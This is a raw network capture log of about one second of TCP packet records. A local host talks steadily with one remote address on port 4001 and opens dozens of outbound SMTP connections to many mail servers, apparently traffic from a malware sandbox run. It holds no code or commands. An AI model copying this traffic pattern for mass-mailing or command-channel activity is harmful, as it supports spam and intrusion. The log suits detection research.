May 19, 2024 17:27:46.428430080 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.433182955 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.433214903 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.433298111 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.433466911 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.433540106 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:46.433634996 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:46.433674097 CEST	49779	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:46.433916092 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:46.434072018 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:46.434210062 CEST	49970	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:46.438333988 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.442959070 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:46.442959070 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:46.442970991 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:46.442972898 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:46.443236113 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:46.443584919 CEST	49827	465	192.168.2.4	68.178.252.117
May 19, 2024 17:27:46.443634033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.447988033 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:46.448019028 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:46.448049068 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:46.448079109 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:46.448143005 CEST	587	49970	193.81.82.81	192.168.2.4
May 19, 2024 17:27:46.448215961 CEST	49970	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:46.448265076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.452837944 CEST	465	49827	68.178.252.117	192.168.2.4
May 19, 2024 17:27:46.452991962 CEST	49827	465	192.168.2.4	68.178.252.117
May 19, 2024 17:27:46.457909107 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.462882996 CEST	587	49757	213.250.19.150	192.168.2.4
May 19, 2024 17:27:46.464905024 CEST	49757	587	192.168.2.4	213.250.19.150
May 19, 2024 17:27:46.464967012 CEST	49757	587	192.168.2.4	213.250.19.150
May 19, 2024 17:27:46.465125084 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.469886065 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:46.470139980 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.474982023 CEST	587	49757	213.250.19.150	192.168.2.4
May 19, 2024 17:27:46.479743004 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.521213055 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:46.525163889 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:46.525388002 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.546833992 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:46.547059059 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.547060013 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.552243948 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:46.552495003 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:46.553111076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.557471037 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.564228058 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:46.564464092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.567956924 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:46.569852114 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.574661970 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.574836969 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:46.574929953 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:46.575004101 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:46.575016975 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:46.575043917 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:46.575118065 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:46.575133085 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:46.575205088 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:46.575256109 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:46.579801083 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:46.583705902 CEST	49834	465	192.168.2.4	142.132.181.81
May 19, 2024 17:27:46.583712101 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.589976072 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:46.590032101 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:46.590152025 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:46.590182066 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:46.590212107 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:46.590240955 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:46.590270042 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:46.590297937 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:46.614929914 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:46.619946957 CEST	465	49834	142.132.181.81	192.168.2.4
May 19, 2024 17:27:46.620488882 CEST	49834	465	192.168.2.4	142.132.181.81
May 19, 2024 17:27:46.627672911 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:46.627902031 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.630108118 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:46.630239964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.630239964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.632721901 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:46.632795095 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:46.632858038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.632858038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.637594938 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:46.637629986 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:46.637661934 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.637675047 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:46.637836933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.642390966 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.642421007 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.642450094 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.642477989 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:46.642571926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.647144079 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.647172928 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.647201061 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.652050018 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.677355051 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:46.682356119 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.682410002 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:46.683301926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.688585043 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.688657045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.688713074 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:46.688779116 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:46.689013004 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:46.689065933 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:46.689228058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.689261913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.689738989 CEST	49971	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:46.692970037 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:46.696079969 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:46.696197033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.700941086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.705637932 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:46.705739021 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:46.705773115 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:46.705801964 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:46.705837011 CEST	587	49971	120.50.131.112	192.168.2.4
May 19, 2024 17:27:46.705866098 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.705895901 CEST	49971	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:46.705976963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.710372925 CEST	587	49758	188.114.96.3	192.168.2.4
May 19, 2024 17:27:46.710439920 CEST	49758	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:46.710489035 CEST	49758	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:46.710530996 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.715106964 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.719875097 CEST	587	49758	188.114.96.3	192.168.2.4
May 19, 2024 17:27:46.724205971 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:46.729370117 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.729424953 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:46.729589939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.734441042 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:46.734548092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.739449978 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.739835978 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:46.767061949 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:46.767477036 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.767477989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.768033028 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:46.768109083 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:46.768214941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.768214941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.771811008 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:46.771817923 CEST	49779	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:46.772018909 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.776751995 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.781510115 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.786725044 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:46.792006969 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.792062044 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:46.792279005 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:46.792279005 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:46.792553902 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:46.792553902 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:46.792572975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.792891026 CEST	49972	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:46.797823906 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:46.798007011 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.802460909 CEST	49839	587	192.168.2.4	23.229.177.233
May 19, 2024 17:27:46.802503109 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:46.802522898 CEST	49838	465	192.168.2.4	142.251.9.26
May 19, 2024 17:27:46.802576065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.802576065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.802601099 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:46.803129911 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.807389975 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:46.807435989 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:46.807465076 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:46.807499886 CEST	587	49972	194.153.145.104	192.168.2.4
May 19, 2024 17:27:46.807565928 CEST	49972	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:46.807763100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.809891939 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.809941053 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:46.810079098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.810079098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.811131001 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:46.811191082 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:46.811300993 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.811301947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.813823938 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:46.814064980 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.814065933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.816370010 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:46.816474915 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:46.816487074 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:46.816524029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.816598892 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.816930056 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.816963911 CEST	587	49839	23.229.177.233	192.168.2.4
May 19, 2024 17:27:46.816994905 CEST	465	49838	142.251.9.26	192.168.2.4
May 19, 2024 17:27:46.817014933 CEST	49839	587	192.168.2.4	23.229.177.233
May 19, 2024 17:27:46.817059994 CEST	49838	465	192.168.2.4	142.251.9.26
May 19, 2024 17:27:46.817950010 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:46.821151972 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:46.821187019 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:46.821217060 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.821234941 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:46.821244001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.821358919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.826054096 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.830739021 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.833595037 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:46.838480949 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.849217892 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:46.849222898 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:46.857717991 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:46.857878923 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.857878923 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.858751059 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:46.858834028 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.858917952 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:46.862495899 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:46.862550020 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:46.862607002 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.862607002 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.862613916 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:46.862699032 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.864830017 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:46.867266893 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.871999979 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.872030020 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:46.872198105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.877064943 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.900259972 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:46.900422096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.900422096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.901407003 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:46.901478052 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:46.901503086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.901504040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.905045033 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:46.905081034 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:46.905122995 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.905219078 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.911329031 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.911379099 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.912420988 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:46.917633057 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.917689085 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.917799950 CEST	49908	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:46.917910099 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:46.917941093 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:46.917963028 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:46.918021917 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:46.918688059 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.918688059 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.923301935 CEST	587	49908	194.152.32.10	192.168.2.4
May 19, 2024 17:27:46.927525043 CEST	49842	465	192.168.2.4	68.178.252.117
May 19, 2024 17:27:46.927565098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.927565098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.927597046 CEST	49840	587	192.168.2.4	142.251.9.26
May 19, 2024 17:27:46.928303957 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:46.928517103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.933155060 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:46.933207989 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:46.933290958 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:46.933320999 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:46.933352947 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.938033104 CEST	465	49842	68.178.252.117	192.168.2.4
May 19, 2024 17:27:46.938086033 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.938117027 CEST	587	49840	142.251.9.26	192.168.2.4
May 19, 2024 17:27:46.938148022 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:46.938234091 CEST	49842	465	192.168.2.4	68.178.252.117
May 19, 2024 17:27:46.938249111 CEST	49840	587	192.168.2.4	142.251.9.26
May 19, 2024 17:27:46.938374996 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.938647032 CEST	49973	587	192.168.2.4	92.42.36.37
May 19, 2024 17:27:46.956657887 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.956659079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.958581924 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:46.958583117 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:46.961347103 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:46.961592913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.965996027 CEST	587	49973	92.42.36.37	192.168.2.4
May 19, 2024 17:27:46.966082096 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.966203928 CEST	49973	587	192.168.2.4	92.42.36.37
May 19, 2024 17:27:46.966281891 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.971012115 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.974196911 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:46.976192951 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.981059074 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:27:46.981264114 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.989811897 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:46.990524054 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:46.990919113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.995357037 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:46.995599985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.000267029 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:47.000587940 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.005264044 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.005309105 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:47.006267071 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:47.006341934 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.010082960 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:47.010375023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.010423899 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.010461092 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.012454987 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.012628078 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.013669014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.013669014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.014770985 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.014863014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.015058994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.015089989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.019740105 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.021250963 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:47.024610043 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.029367924 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.029421091 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.029758930 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:47.029937029 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:47.029999971 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:47.035073996 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:47.036705971 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.037034988 CEST	49852	465	192.168.2.4	64.188.2.244
May 19, 2024 17:27:47.037168980 CEST	49850	587	192.168.2.4	92.204.80.0
May 19, 2024 17:27:47.037189960 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:47.037194967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.037194967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.039865971 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:47.039961100 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:47.040168047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.040168047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.044702053 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:47.044749022 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:47.045655012 CEST	465	49852	64.188.2.244	192.168.2.4
May 19, 2024 17:27:47.045686960 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.045720100 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:47.045722961 CEST	49852	465	192.168.2.4	64.188.2.244
May 19, 2024 17:27:47.045943975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.045943975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.046541929 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:47.046679974 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:47.046762943 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.046762943 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.049381971 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:47.049418926 CEST	587	49850	92.204.80.0	192.168.2.4
May 19, 2024 17:27:47.049479008 CEST	49850	587	192.168.2.4	92.204.80.0
May 19, 2024 17:27:47.049480915 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.052347898 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:47.052453041 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:47.052537918 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:47.054354906 CEST	4001	49734	212.162.153.199	192.168.2.4
